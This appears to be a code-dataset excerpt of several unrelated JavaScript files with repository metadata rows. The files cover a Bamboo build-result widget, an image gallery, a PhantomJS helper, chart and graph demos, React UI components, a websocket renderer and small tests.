if (opts.jobStatus && job['key'] == opts.currentKey && opts.jobStatus != getJobStatus(job)) {
reloadThePage();
}
};
return {
init: function (options) {
$.extend(true, opts, options);
if ($.browser.msie && parseInt($.browser.version, 10) <= 8) {
$(function () {
$(opts.ribbonSelector).prepend('<span class="before"></span>').append('<span class="after"></span>');
});
}
planNavigator = new BAMBOO.BUILDRESULT.PlanNavigator({ planNavigatorSelector: '#plan-navigator', key: opts.currentKey });
if (opts.isActive) {
$(document)
.bind('updateprogressbar.buildresult', refreshDetails)
.bind('updatejob.buildresult', onJobUpdated)
.bind('createprogressbar.buildresult', function () { reloadThePage(); }); // TODO: Remove this when we can update the build results page dynamically without needing to refresh manually
statusRibbon = new BAMBOO.BUILDRESULT.StatusRibbon({ ribbonSelector: opts.ribbonSelector, key: opts.currentKey });
update();
}
}
}
}());
BAMBOO.PLAN.LinkedJiraIssueDescription = (function (opts) {
var options = $.extend(true, {
planKey: null,
issueSelector: '.plan-description'
}, opts),
$description = $(options.issueSelector),
issueKey = $description.data('jiraIssueKey'),
keyLink = AJS.contextPath() + '/project/jiraRedirect.action?jiraIssueKey=' + issueKey,
remoteJiraLinkRequired = $description.data('remoteJiraLinkRequired');
$(bamboo.feature.jiraIssueList.singleIssueLoading({
key: issueKey,
keyLink: keyLink
})).appendTo($description);
$.ajax({
url: AJS.contextPath() + '/rest/api/latest/plan/' + options.planKey + '/issue/' + issueKey,
cache: false,
dataType: 'json'
}).done(update).fail(error);
function update(issue, textStatus, jqXHR) {
var summary = issue['summary'];
if (summary) {
$description.html(bamboo.feature.jiraIssueList.singleIssue(issue));
if (remoteJiraLinkRequired) {
showRemoteJiraLinkButton();
}
} else {
error(jqXHR);
}
}
function error(jqXHR) {
var response, authUrl, authInstance;
try {
response = $.parseJSON(jqXHR.responseText);
authUrl = response['authenticationRedirectUrl'];
authInstance = response['authenticationInstanceName'] || AJS.I18n.getText('jira.title');
}
catch (e) {}
if (authUrl) {
$description.html(bamboo.feature.jiraIssueList.singleIssueOAuth({
key: issueKey,
keyLink: keyLink,
authenticationRedirectUrl: authUrl + '&redirectUrl=' + encodeURIComponent(document.location.href),
authenticationInstanceName: authInstance
}));
} else {
$description.html(bamboo.feature.jiraIssueList.singleIssueRetrievalError({
key: issueKey,
keyLink: keyLink
}));
}
}
function showRemoteJiraLinkButton() {
var disabledProperty = 'aria-disabled',
$button = $('<button/>', { 'class': 'aui-button aui-style', text: AJS.I18n.getText('issue.link.creation.button') }).click(initiateLink).insertAfter($description),
$icon = $(widget.icons.icon({ type: 'loading' }));
function initiateLink() {
if (!$button.attr(disabledProperty)) {
$button.attr(disabledProperty, true).append($icon);
$.ajax({
url: AJS.contextPath() + '/ajax/createRemoteIssueLink.action',
cache: false,
dataType: 'json',
data: {
planKey: options.planKey,
issueKey: issueKey
}
}).done(linkCreated).fail(linkFailed);
}
}
function linkCreated(response, textStatus, jqXHR) {
if (response['status'] == "ERROR") {
linkFailed(jqXHR);
} else {
$icon.replaceWith(widget.icons.icon({ type: 'tick-agent' }));
setTimeout(function () {
$button.fadeOut(function () { $(this).remove(); });
}, 1500);
}
}
function linkFailed(jqXHR) {
var response, authUrl, authInstance, authMessage, errors;
try {
response = $.parseJSON(jqXHR.responseText);
errors = response['errors'];
authUrl = response['authorisationURI'];
authInstance = response['context'] || AJS.I18n.getText('jira.title');
authMessage = response['message'];
}
catch (e) {}
if (authUrl) {
showMessageDialog(authMessage, BAMBOO.buildAUIMessage([ bamboo.feature.jiraIssueList.linkedIssueOAuth({
authenticationRedirectUrl: authUrl + '&redirectUrl=' + encodeURIComponent(document.location.href),
authenticationInstanceName: authInstance,
reason: 'in order to create a remote issue link'
}) ], 'warning', { escapeTitle: false }));
} else {
if (!errors || !errors.length) {
errors = [ AJS.I18n.getText('issue.link.creation.error.generic.description') ];
}
showMessageDialog(AJS.I18n.getText('issue.link.creation.error.generic.title'), BAMBOO.buildAUIErrorMessage(errors));
}
$button.removeAttr(disabledProperty);
$icon.remove();
}
function showMessageDialog(title, content) {
var dialog = new AJS.Dialog({
width: 600
}).addHeader(title).addPanel('', content).addButton(AJS.I18n.getText('global.buttons.close'), function () { dialog.remove(); });
dialog.show().updateHeightProperly();
}
}
});
}(jQuery, window.BAMBOO = (window.BAMBOO || {}))); | 45.995012 | 249 | 0.439493 |
0621c5deb89a62d3ff9e04d10d42ac291261e9db | 3,360 | js | JavaScript | exercises/58 - Gallery/gallery-prototype-FINISHED.js | krtb/js-review-and-notes | 73dc8b9f7d9fdbc5d1d5690547ebe3be3c27ae77 | [
"MIT"
] | 1 | 2020-10-05T09:15:41.000Z | 2020-10-05T09:15:41.000Z | exercises/58 - Gallery/gallery-prototype-FINISHED.js | krtb/js-review-and-notes | 73dc8b9f7d9fdbc5d1d5690547ebe3be3c27ae77 | [
"MIT"
] | 12 | 2021-03-10T14:32:18.000Z | 2022-02-13T10:51:39.000Z | exercises/58 - Gallery/gallery-prototype-FINISHED.js | krtb/js-review-and-notes | 73dc8b9f7d9fdbc5d1d5690547ebe3be3c27ae77 | [
"MIT"
] | null | null | null | function Gallery(gallery) {
if (!gallery) {
throw new Error('No Gallery Found!');
}
this.gallery = gallery;
// select the elements we need
this.images = Array.from(gallery.querySelectorAll('img'));
this.modal = document.querySelector('.modal');
this.prevButton = this.modal.querySelector('.prev');
this.nextButton = this.modal.querySelector('.next');
// bind our methods to the instance when we need them
this.showNextImage = this.showNextImage.bind(this);
this.showPrevImage = this.showPrevImage.bind(this);
this.handleKeyUp = this.handleKeyUp.bind(this);
this.handleClickOutside = this.handleClickOutside.bind(this);
// These are our Event Listeners!
this.images.forEach(image =>
image.addEventListener('click', e => this.showImage(e.currentTarget))
);
// loop over each image
this.images.forEach(image => {
// attach an event listener for each image
image.addEventListener('keyup', e => {
// when that is keyup'd, check if it was enter
if (e.key === 'Enter') {
// if it was, show that image
this.showImage(e.currentTarget);
}
});
});
this.modal.addEventListener('click', this.handleClickOutside);
}
Gallery.prototype.openModal = function() {
console.info('Opening Modal...');
// First check if the modal is already open
if (this.modal.matches('.open')) {
console.info('Madal already open');
return; // stop the function from running
}
this.modal.classList.add('open');
// Event listeners to be bound when we open the modal:
window.addEventListener('keyup', this.handleKeyUp);
this.nextButton.addEventListener('click', this.showNextImage);
this.prevButton.addEventListener('click', this.showPrevImage);
};
Gallery.prototype.closeModal = function() {
this.modal.classList.remove('open');
// TODO: add event listeners for clicks and keyboard..
window.removeEventListener('keyup', this.handleKeyUp);
this.nextButton.removeEventListener('click', this.showNextImage);
this.prevButton.removeEventListener('click', this.showPrevImage);
};
Gallery.prototype.handleClickOutside = function(e) {
if (e.target === e.currentTarget) {
this.closeModal();
}
};
Gallery.prototype.handleKeyUp = function(event) {
if (event.key === 'Escape') return this.closeModal();
if (event.key === 'ArrowRight') return this.showNextImage();
if (event.key === 'ArrowLeft') return this.showPrevImage();
};
Gallery.prototype.showNextImage = function() {
console.log('SHOWING NEXT IMAGE!!!');
this.showImage(
this.currentImage.nextElementSibling || this.gallery.firstElementChild
);
};
Gallery.prototype.showPrevImage = function() {
this.showImage(
this.currentImage.previousElementSibling || this.gallery.lastElementChild
);
};
Gallery.prototype.showImage = function(el) {
if (!el) {
console.info('no image to show');
return;
}
// update the modal with this info
console.log(el);
this.modal.querySelector('img').src = el.src;
this.modal.querySelector('h2').textContent = el.title;
this.modal.querySelector('figure p').textContent = el.dataset.description;
this.currentImage = el;
this.openModal();
};
// Use it on the page
const gallery1 = new Gallery(document.querySelector('.gallery1'));
const gallery2 = new Gallery(document.querySelector('.gallery2'));
console.log(gallery1, gallery2);
| 32 | 77 | 0.704762 |
06242672d10612386fc1526976d0e71d99d97a88 | 1,081 | js | JavaScript | lib/impl/pdfGeneration/createPhantomSession.js | feedhenry/fh-forms | 87df586b9589e3c636e1e607163862cfb64872dd | [
"Apache-2.0"
] | null | null | null | lib/impl/pdfGeneration/createPhantomSession.js | feedhenry/fh-forms | 87df586b9589e3c636e1e607163862cfb64872dd | [
"Apache-2.0"
] | 53 | 2016-11-30T11:23:29.000Z | 2018-09-27T16:46:21.000Z | lib/impl/pdfGeneration/createPhantomSession.js | feedhenry/fh-forms | 87df586b9589e3c636e1e607163862cfb64872dd | [
"Apache-2.0"
] | 14 | 2017-01-03T14:15:35.000Z | 2018-05-01T09:48:09.000Z | var logger = require('../../common/logger.js').getLogger();
var phantom = require('phantom');
var getNextPhantomPort = require('./getNextPhantomPort');
/**
* Getting/Creating A new phantom session
* @param cb
* @returns {*}
* @private
*/
module.exports = function createPhantomSession(cb) {
var port = getNextPhantomPort();
logger.info('Creating new phantom session on port ', {port: port});
phantom.create([], {
port: port,
format: 'a4',
onExit: function(code) {
logger.info('renderPDF createPhantomSession phantom session exited with code', {code: code});
if (code !== 0) {
var err = 'Unexpected exit code from phantom (' + code + ').\n' +
'Please verify phantomjs is installed and is the right version (phantomjs -v)';
logger.error(err);
}
}
}).then(function(_ph) {
logger.info('phantom bridge initiated');
return cb(null, _ph);
}).catch(function(e) {
var msg = 'Error creating phantom session. Please try again later.';
logger.error(msg, e);
return cb(msg + e.toString());
});
}; | 32.757576 | 99 | 0.636448 |
062562f4fe7ce39ee23a847dae7c1cdb09faf65f | 1,064 | js | JavaScript | AV/Graph/MCSTCON.js | dwgillies/OpenDSA | e012925896070a86bd7c3a4cbb75fa5682d9b9e2 | [
"MIT"
] | 200 | 2015-02-08T05:27:52.000Z | 2022-03-23T02:44:38.000Z | AV/Graph/MCSTCON.js | dwgillies/OpenDSA | e012925896070a86bd7c3a4cbb75fa5682d9b9e2 | [
"MIT"
] | 119 | 2015-03-22T22:38:21.000Z | 2022-03-15T04:38:52.000Z | AV/Graph/MCSTCON.js | dwgillies/OpenDSA | e012925896070a86bd7c3a4cbb75fa5682d9b9e2 | [
"MIT"
] | 105 | 2015-01-03T08:55:00.000Z | 2022-03-19T00:51:45.000Z | $(document).ready(function () {
"use strict";
var av = new JSAV("MCSTCON", {"animationMode": "none"});
var g = av.ds.graph({width: 500, height: 250,
layout: "manual", directed: false});
var vA = g.addNode("A", {"left": 20, "top": 0});
var vB = g.addNode("B", {"left": 250, "top": 0});
var vC = g.addNode("C", {"left": 100, "top": 50});
var vD = g.addNode("D", {"left": 100, "top": 150});
var vE = g.addNode("E", {"left": 0, "top": 200});
var vF = g.addNode("F", {"left": 250, "top": 175});
g.addEdge(vA, vC, {"weight": 7, "stroke-width": 6, "stroke": "red"});
g.addEdge(vA, vE, {"weight": 9});
g.addEdge(vB, vC, {"weight": 5, "stroke-width": 6, "stroke": "red"});
g.addEdge(vB, vF, {"weight": 6});
g.addEdge(vC, vD, {"weight": 1, "stroke-width": 6, "stroke": "red"});
g.addEdge(vC, vF, {"weight": 2, "stroke-width": 6, "stroke": "red"});
g.addEdge(vD, vF, {"weight": 2});
g.addEdge(vE, vF, {"weight": 1, "stroke-width": 6, "stroke": "red"});
g.layout();
av.displayInit();
av.recorded();
});
| 44.333333 | 71 | 0.528195 |
0626598aacd6f1f5fd36a9f3053001017654b162 | 1,325 | js | JavaScript | src/components/Success.js | lucasmoraismt/projeto-Cineflex | 9452f1ee8b0b570f21d5a3a9d1e73cbc8a61132a | [
"MIT"
] | null | null | null | src/components/Success.js | lucasmoraismt/projeto-Cineflex | 9452f1ee8b0b570f21d5a3a9d1e73cbc8a61132a | [
"MIT"
] | 1 | 2021-05-19T18:21:36.000Z | 2021-05-19T18:21:36.000Z | src/components/Success.js | lucasmoraismt/projeto-Cineflex | 9452f1ee8b0b570f21d5a3a9d1e73cbc8a61132a | [
"MIT"
] | 2 | 2021-05-14T22:15:53.000Z | 2021-05-19T18:18:05.000Z | import { useHistory } from "react-router-dom";
export default function Success(props) {
const { setInputName, setCpf, setSuccessData } = props;
const { name, cpf, title, date, hour, seats } = props.purchaseData;
let history = useHistory();
const orderedSeats = seats
.map((i) => parseInt(i))
.sort(function (a, b) {
return a - b;
});
function resetData() {
setInputName("");
setCpf("");
setSuccessData({});
history.push("/");
}
return (
<div className="container success">
<p className="page-title success">Pedido feito com sucesso!</p>
<p className="success-title">Filme e sessão</p>
<p className="success-data">{title}</p>
<div>
<span className="success-data">{date}</span>
<span className="success-data">{hour}</span>
</div>
<p className="success-title">Ingressos</p>
{orderedSeats.map((i) => (
<p className="success-data" key={i}>
Assento {i}
</p>
))}
<p className="success-title">Cliente</p>
<p className="success-data">Nome: {name}</p>
<p className="success-data">CPF: {cpf}</p>
<div className="confirmation">
<button onClick={() => resetData()} className="proceed">
Voltar pra Home
</button>
</div>
</div>
);
}
| 28.804348 | 69 | 0.576604 |
0628835faf7309e4b841bc2eeecc6761b1df52c3 | 2,211 | js | JavaScript | js/demo/chart-pie-repair-replace.js | derekmadden/lespwaAMS | 50333519b122c98b2d9462c6923f833362aace53 | [
"MIT"
] | 1 | 2021-04-20T16:28:36.000Z | 2021-04-20T16:28:36.000Z | js/demo/chart-pie-repair-replace.js | derekmadden/lespwaAMS | 50333519b122c98b2d9462c6923f833362aace53 | [
"MIT"
] | null | null | null | js/demo/chart-pie-repair-replace.js | derekmadden/lespwaAMS | 50333519b122c98b2d9462c6923f833362aace53 | [
"MIT"
] | null | null | null | // Set new default font family and font color to mimic Bootstrap's default styling
Chart.defaults.global.defaultFontFamily = 'Nunito', '-apple-system,system-ui,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif';
Chart.defaults.global.defaultFontColor = '#858796';
testAjax(function(output){
// alert(output);
var chartLabels = new Array();
var chartValues = new Array();
const words = output.split(',');
for (i = 0; i < words.length; i++) {
const outString = words[i].replace(/[`~!@#$%^&*()|+\-=?;'",.<>\{\}\[\]\\\/]/gi, '');
const newWords = outString.split(':');
const newWordsTemp = newWords[0].split('_');
var labelText = newWordsTemp[0];
var labelValue = parseInt(newWords[1]);
chartLabels.push(labelText);
chartValues.push(labelValue);
}
// console.log(chartData);
// alert(JSON.stringify(labelValue));
// alert(words[0]);
// document.getElementById("demo").innerHTML = res;
// Pie Chart Example
var ctx = document.getElementById("myPieChart");
var myPieChart = new Chart(ctx, {
type: 'doughnut',
data: {
// labels: ["Direct", "Referral", "Social"],
labels: chartLabels,
datasets: [{
// data: [55, 30, 15],
data: chartValues,
backgroundColor: ['#4e73df', '#1cc88a', '#36b9cc'],
hoverBackgroundColor: ['#2e59d9', '#17a673', '#2c9faf'],
hoverBorderColor: "rgba(234, 236, 244, 1)",
}],
},
options: {
maintainAspectRatio: false,
tooltips: {
backgroundColor: "rgb(255,255,255)",
bodyFontColor: "#858796",
borderColor: '#dddfeb',
borderWidth: 1,
xPadding: 15,
yPadding: 15,
displayColors: false,
caretPadding: 10,
},
legend: {
display: false
},
cutoutPercentage: 80,
},
});
});
function testAjax(handleData) {
// alert('return sent');
$.ajax({
type: "POST",
url: "db_connect_charts",
data: 'chartType=pie&dataType=count&dataNeeds=Repairs_Replacements',
success: function(data) {
// alert(JSON.stringify(data));
// alert(data); // apple
handleData(data);
}
});
}
| 24.566667 | 149 | 0.588874 |
0629bb4ffae7187b820d6f93d074f829113a8919 | 4,159 | js | JavaScript | src/components/welcomePage.js | arnaudambro/atd-site | dc2c73fc37a717b1e9d5dc7c1ad4564d345fe40d | [
"MIT"
] | 1 | 2021-12-20T15:27:13.000Z | 2021-12-20T15:27:13.000Z | src/components/welcomePage.js | arnaudambro/atd-site | dc2c73fc37a717b1e9d5dc7c1ad4564d345fe40d | [
"MIT"
] | 11 | 2019-08-28T18:10:58.000Z | 2022-02-26T02:36:40.000Z | src/components/welcomePage.js | arnaudambro/atd-site | dc2c73fc37a717b1e9d5dc7c1ad4564d345fe40d | [
"MIT"
] | null | null | null | import React from "react"
import styled, { keyframes } from "styled-components"
import SEO from "./seo"
import Img from "gatsby-image/withIEPolyfill"
import { getImageFromSrc } from "../helpers/selectors"
// import logo from "../images/logo.svg"
import ajap from "../images/LOGO_AJAP.png"
import { media } from "../styles/mediaQueries"
import { Link } from "gatsby"
import { projets } from "../reference/pages"
import { background, gatsbyImage } from "../styles/mixins"
import useLargeImages from "../helpers/hooks/useLargeImages"
import Logo from "./logo"
const LandingStyled = styled(Link)`
z-index: 1000;
overflow: hidden;
display: block;
height: 100vh;
width: 100vw;
flex-shrink: 0;
${gatsbyImage({
width: "100vw !important",
height: "100vh !important",
})}
`
const clignote = keyframes`
0% {
opacity: 0;
transform: translateY(0);
}
50% {
opacity: 1;
transform: translateY(2.5vh);
}
100% {
opacity: 0;
transform: translateY(5vh);
}
`
const ArrowDownStyled = styled.svg`
position: absolute;
margin-left: auto;
margin-right: auto;
left: 0;
right: 0;
bottom: 17.5vh;
color: white;
height: 60px;
width: 60px;
animation: ${clignote};
animation-duration: 1.5s;
animation-timing-function: linear;
animation-delay: 0s;
animation-fill-mode: both;
animation-iteration-count: infinite;
`
const Ajap = styled.div`
position: absolute;
${background({ url: ajap, size: "contain", position: "center" })}
/* left: 12.5vw; */
/* bottom: calc(33vh + ${({ theme }) => theme.height.logo}px); */
left: calc(12.5vw + ${({ theme }) => theme.width.logo + 40}px);
bottom: 30vh;
width: ${({ theme }) => theme.width.logo}px;
height: ${({ theme }) => theme.height.logo}px;
border-left: 1px solid #fff;
${media.desktop`
${background({ url: ajap, size: "contain", position: "center" })}
left: calc(14vw + ${({ theme }) => theme.width.desktop.logo + 40}px);
bottom: 15vh;
width: ${({ theme }) => theme.width.desktop.logo * 0.75}px;
height: ${({ theme }) => theme.height.desktop.logo}px;
`}
`
const PageNumber = styled.pre`
position: fixed;
z-index: 100000;
width: 100%;
height: auto;
background: black;
color: white;
top: 0;
left: 0;
display: none;
`
const ScrollIcon = () => (
<ArrowDownStyled
className="scroll-icon"
fill="currentColor"
height="60"
preserveAspectRatio="xMidYMid meet"
style={{ verticalAlign: "middle" }}
viewBox="0 0 40 40"
width="60"
>
<g>
<path d="m31 16.4q0 0.3-0.2 0.5l-10.4 10.4q-0.3 0.3-0.5 0.3t-0.6-0.3l-10.4-10.4q-0.2-0.2-0.2-0.5t0.2-0.5l1.2-1.1q0.2-0.2 0.5-0.2t0.5 0.2l8.8 8.8 8.7-8.8q0.3-0.2 0.5-0.2t0.6 0.2l1.1 1.1q0.2 0.2 0.2 0.5z" />
</g>
</ArrowDownStyled>
)
const numberOfImages = 2
const landingPageNumber = (offset = 0) => {
const oneDayInMs = 1000 * 60 * 60 * 24
const now = Date.now() - offset * oneDayInMs
const nowDate = new Date(now)
const nowZero = new Date(
nowDate.getFullYear(),
nowDate.getMonth(),
nowDate.getDate()
)
const changeFrequency = 3
const nowZeroInDays = Math.floor(Date.parse(nowZero) / oneDayInMs)
const parsedPageNumber =
(nowZeroInDays % (changeFrequency * numberOfImages)) + 1
return {
nowZero,
nowZeroInDays,
parsedPageNumber,
landingPageNumber:
Math.floor(parsedPageNumber / changeFrequency) || numberOfImages,
}
}
const WelcomePage = () => {
const images = useLargeImages()
const renderImage = () => {
const photoNumber = Math.min(
landingPageNumber().landingPageNumber,
numberOfImages
)
return (
<Img
fluid={getImageFromSrc(images, `CONCEPT-PDG${photoNumber}.jpg`)}
alt="ADT: une mise en architecture de la matière"
title="ADT: une mise en architecture de la matière"
/>
)
}
return (
<LandingStyled to={`/${projets}`} id="landing">
<SEO title="ADT" />
<PageNumber>{JSON.stringify(landingPageNumber(), null, 2)}</PageNumber>
{renderImage()}
<ScrollIcon />
<Logo welcomePage />
<Ajap />
</LandingStyled>
)
}
export default WelcomePage
| 25.359756 | 211 | 0.633566 |
062aba3db3034999a76ddb426149507fb9b97ff5 | 3,278 | js | JavaScript | Actors/VisualObjects/src/VisualObjects.WebService/wwwroot/Scripts/visualobjects.js | waleed99877/service-fabric-java-getting-started | d62ebc81530f3b93b9c78e64df39bf9276164f80 | [
"MIT"
] | 61 | 2016-12-07T12:54:53.000Z | 2021-08-10T00:49:10.000Z | Actors/VisualObjects/src/VisualObjects.WebService/wwwroot/Scripts/visualobjects.js | waleed99877/service-fabric-java-getting-started | d62ebc81530f3b93b9c78e64df39bf9276164f80 | [
"MIT"
] | 7 | 2017-06-22T09:39:51.000Z | 2019-03-02T16:46:24.000Z | Actors/VisualObjects/src/VisualObjects.WebService/wwwroot/Scripts/visualobjects.js | waleed99877/service-fabric-java-getting-started | d62ebc81530f3b93b9c78e64df39bf9276164f80 | [
"MIT"
] | 36 | 2016-11-11T02:43:10.000Z | 2022-03-09T10:45:34.000Z | var nodeBuffersUpdated = false;
var nodesToRender = new Array();
var triangles = new Array();
var triangleHistories = new Array();
function updateNodeBuffers(nodes) {
for (var incomingNodes = 0; incomingNodes < nodes.length; ++incomingNodes) {
var node = nodes[incomingNodes];
nodesToRender[incomingNodes] = node;
if(triangles[incomingNodes] == null)
{
var t = new Path.RegularPolygon(new Point(0, 0), 3, 20);
t.fillColor = new Color(node.currentColor.r, node.currentColor.g, node.currentColor.b);
triangles[incomingNodes] = t;
var numHistory = node.history.length;
triangleHistories[incomingNodes] = new Array();
for(historyEntry = 0; historyEntry < numHistory; ++historyEntry)
{
var h = new Path.RegularPolygon(new Point(0, 0), 3, (20 - (2*(numHistory-historyEntry))));
h.fillColor = new Color(node.currentColor.r, node.currentColor.g, node.currentColor.b);
h.fillColor.alpha = 1 - (0.11 * (numHistory - historyEntry));
triangleHistories[incomingNodes][historyEntry] = h;
}
}
}
nodeBuffersUpdated = true;
}
function drawScene()
{
if (nodeBuffersUpdated)
{
var numNodes = nodesToRender.length;
for (nodeToRender = 0; nodeToRender < numNodes; ++nodeToRender)
{
var node = nodesToRender[nodeToRender];
triangles[nodeToRender].position = scalePosToViewport(node.current.x, node.current.y);
triangles[nodeToRender].rotation = node.rotation;
var historyCount = node.history.length;
for(historyEntry = 0; historyEntry < historyCount; ++historyEntry)
{
var historyNodeData = node.history[historyEntry];
var historyTriangle = triangleHistories[nodeToRender][historyEntry];
historyTriangle.position = scalePosToViewport(historyNodeData.x, historyNodeData.y);
historyTriangle.rotation = node.rotation;
}
}
nodeBuffersUpdated = false;
}
}
function scalePosToViewport(nodex, nodey)
{
var xfactor = view.viewSize.width / 2;
var yfactor = view.viewSize.height / 2;
var xval = nodex + 1;
var yval = nodey + 1;
//scaling factor is width or height over 2.
//2 = width or height, 0 = 0;
return new Point(xval * xfactor, yval * yfactor);
}
function startDrawing() {
var canvas = document.getElementById("canvas");
canvas.style.border = "#00ff00 3px solid";
paper.install(window);
paper.setup('canvas');
initWebSocket();
view.onFrame = function(event) {
drawScene();
}
}
var websocket;
function initWebSocket() {
websocket = new WebSocket("ws://" + window.location.host + "/visualobjects/data/");
websocket.onopen = function () {};
websocket.onmessage = function (args) {
nodes = JSON.parse(args.data);
updateNodeBuffers(nodes);
};
websocket.onclose = function (args) {
setTimeout(initWebSocket, 100);
};
websocket.onerror = function (error) {
websocket.close();
}
} | 28.754386 | 106 | 0.604942 |
062b00ec658c071e7cb760dfcf82797b2e68bb7a | 843 | js | JavaScript | src/index.test.js | 509dave16/startwars-names | 8df13e4f0dfd5ccaaa8646675b5f4c150a622885 | [
"MIT"
] | null | null | null | src/index.test.js | 509dave16/startwars-names | 8df13e4f0dfd5ccaaa8646675b5f4c150a622885 | [
"MIT"
] | 3 | 2016-05-26T22:57:16.000Z | 2016-05-26T23:37:16.000Z | src/index.test.js | 509dave16/starwars-names | 8df13e4f0dfd5ccaaa8646675b5f4c150a622885 | [
"MIT"
] | null | null | null | import starWars from './index';
import {expect} from 'chai';
describe('starwars-names', () => {
describe('all', () => {
it('should be an array of strings', () =>
expect(starWars.all).to.satisfy(
array => array.every(item => typeof item === 'string')
)
);
it('should contain `Luke Skywalker`', () =>
expect(starWars.all).to.include('Luke Skywalker')
);
});
describe('random', () => {
it('should return a random item from the starWars.all', () =>
expect(starWars.all).to.include(starWars.random())
);
it('should return an array of random items from starWars.all if passed a number', () => {
const randomItems = starWars.random(3);
expect(randomItems).to.have.length(3);
randomItems.forEach((item) => expect(starWars.all).to.include(item));
});
});
}); | 30.107143 | 93 | 0.596679 |
062b74f7ff3bb47144990d7b40c2ade3e134fa2e | 1,563 | js | JavaScript | demos/tabs/index.js | CH0918/web-learning | c444771ddd2c29f7e702b43109f26648d5e110b1 | [
"MIT"
] | null | null | null | demos/tabs/index.js | CH0918/web-learning | c444771ddd2c29f7e702b43109f26648d5e110b1 | [
"MIT"
] | null | null | null | demos/tabs/index.js | CH0918/web-learning | c444771ddd2c29f7e702b43109f26648d5e110b1 | [
"MIT"
] | null | null | null | // var oLis = document.getElementsByClassName('tab-item'),
// contentItems = document.getElementsByClassName('content-item'),
// lisLen = oLis.length;
// for (var i = 0; i < lisLen; i++) {
// (function(i) {
// oLis[i].addEventListener('click', function() {
// for (var j = 0; j < lisLen; j++) {
// oLis[j].className = 'tab-item';
// contentItems[j].className = 'content-item';
// }
// this.className += ' active';
// contentItems[i].className += ' cur';
// }, false);
// })(i)
// }
// 插件
(function () {
function Tab(options) {
this.tabClassName = options.tabClassName;
this.contentClassName = options.contentClassName;
this.bindEvent();
}
Tab.prototype = {
bindEvent() {
var tabClassName = this.tabClassName,
contentClassName = this.contentClassName;
var tabList = document.getElementsByClassName(tabClassName),
contentList = document.getElementsByClassName(contentClassName),
tabListLen = tabList.length;
for (var i = 0; i < tabListLen; i++) {
(function (i) {
tabList[i].addEventListener(
'click',
function () {
for (var j = 0; j < tabListLen; j++) {
tabList[j].className = tabClassName;
contentList[j].className = contentClassName;
}
this.className += ' active';
contentList[i].className += ' cur';
},
false
);
})(i);
}
},
};
window.Tab = Tab;
})();
| 30.647059 | 72 | 0.539987 |
062b8842a0295ade84cdeaed6d753de4f206bbec | 1,511 | js | JavaScript | web.client/src/app/component/Button/index.js | ErcoFeatures/Queue_Dashboard_web_client | 937d6d17b0794c42e86817617ed8cc74c7088036 | [
"MIT"
] | null | null | null | web.client/src/app/component/Button/index.js | ErcoFeatures/Queue_Dashboard_web_client | 937d6d17b0794c42e86817617ed8cc74c7088036 | [
"MIT"
] | 8 | 2018-11-07T15:44:59.000Z | 2019-03-26T20:04:45.000Z | web.client/src/app/component/Button/index.js | ErcoFeatures/Queue_Dashboard_web_client | 937d6d17b0794c42e86817617ed8cc74c7088036 | [
"MIT"
] | null | null | null | import React from 'react'
import PropTypes from 'prop-types'
import './styles.css'
export const TextButtonWithIcon = (props) => {
let activeState = props.activeClientID && props.activeClientID === props.id?"active":""
return (
<div onClick={props.onclick} className={"textButtonWithIcon "+props.className+ " "+activeState }>
<span>
<i className={props.iconClass}></i>
</span>
<span>{props.label}</span>
</div>
)
};
TextButtonWithIcon.prototype = {
iconClass: PropTypes.string.isRequired,
onclick: PropTypes.func.isRequired,
label: PropTypes.string.isRequired,
className: PropTypes.string.isRequired
}
export const Button = (props) => {
let buttonType = props.type.length ? `btn-${props.type}` : '';
let className = `btn ${buttonType}${props.outline ? "-outline" : ""} ${
props.className
}`;
let { onClick, style } = { ...props };
if (props.type === "disabled") onClick = () => {};
return (
<a href={props.href} target={props.target} id={props.id} onClick={onClick} style={style} className={className}>
{props.value || props.children}
</a>
);
}
Button.propTypes = {
className: PropTypes.string,
value: PropTypes.string,
outline: PropTypes.bool,
type: PropTypes.oneOf(["primary", "secondary", "disabled", "button", ""])
};
Button.defaultProps = {
className: "",
value: null,
outline: false,
type: ""
};
| 25.610169 | 119 | 0.600927 |
062c3898e99c820dd2bd24dd5e93363499bd8659 | 43 | js | JavaScript | test/configuration/files/tables/child/table3.js | mikejohanson/azure-mobile-apps-node | 17339b46f6631fd56fbbc7fb5b7e870f144ee764 | [
"MIT"
] | null | null | null | test/configuration/files/tables/child/table3.js | mikejohanson/azure-mobile-apps-node | 17339b46f6631fd56fbbc7fb5b7e870f144ee764 | [
"MIT"
] | 2 | 2016-01-29T21:44:23.000Z | 2016-03-31T19:07:39.000Z | test/configuration/files/tables/child/table3.js | mikejohanson/azure-mobile-apps-node | 17339b46f6631fd56fbbc7fb5b7e870f144ee764 | [
"MIT"
] | 1 | 2021-02-03T13:23:49.000Z | 2021-02-03T13:23:49.000Z | module.exports = {
softDelete: true
}
| 10.75 | 20 | 0.627907 |
062c62e6e9d4d0461d68c345f862a273bb0be304 | 5,679 | js | JavaScript | chorus/webapp/src/main/webapp/WEB-INF/resources/script/util/table-operations-util.js | InfoClinika/chorus-opensource | d0da23026aeaf3ac5c513b514224d537db98d551 | [
"Apache-2.0"
] | 1 | 2018-03-22T06:54:50.000Z | 2018-03-22T06:54:50.000Z | chorus/webapp/src/main/webapp/WEB-INF/resources/script/util/table-operations-util.js | InfoClinika/chorus-opensource | d0da23026aeaf3ac5c513b514224d537db98d551 | [
"Apache-2.0"
] | 11 | 2018-03-28T14:02:13.000Z | 2019-05-07T09:17:33.000Z | chorus/webapp/src/main/webapp/WEB-INF/resources/script/util/table-operations-util.js | InfoClinika/chorus-opensource | d0da23026aeaf3ac5c513b514224d537db98d551 | [
"Apache-2.0"
] | 3 | 2018-02-26T18:55:45.000Z | 2018-11-09T12:13:25.000Z | /*** Utility operations for the so called tabular data. E.g. multiple Excel-like cells organized into rows and columns. ***/
"use strict";
//todo[tymchenko]: Discuss if we need to have object-based params (e.g. {getWidth: function() {...}, ...})
//and callback to process cell after its contents is changed (to highlight?)
var TableModel = function (getWidth, getHeight, getItemValueAtXY, setItemValueAtXY) {
this.getWidth = getWidth;
this.getHeight = getHeight;
this.getItemValueAtXY = getItemValueAtXY;
this.setItemValueAtXY = setItemValueAtXY;
};
TableModel.prototype.startWatchingModifications = function ($scope) {
var tableModel = this;
$scope.$watch(
function () {
var width = tableModel.getWidth();
var height = tableModel.getHeight();
var totalContent = "";
for (var x = 0; x < width; x++) {
for (var y = 0; y < height; y++) {
totalContent = totalContent + tableModel.getItemValueAtXY(x, y);
}
}
return totalContent;
},
function () {
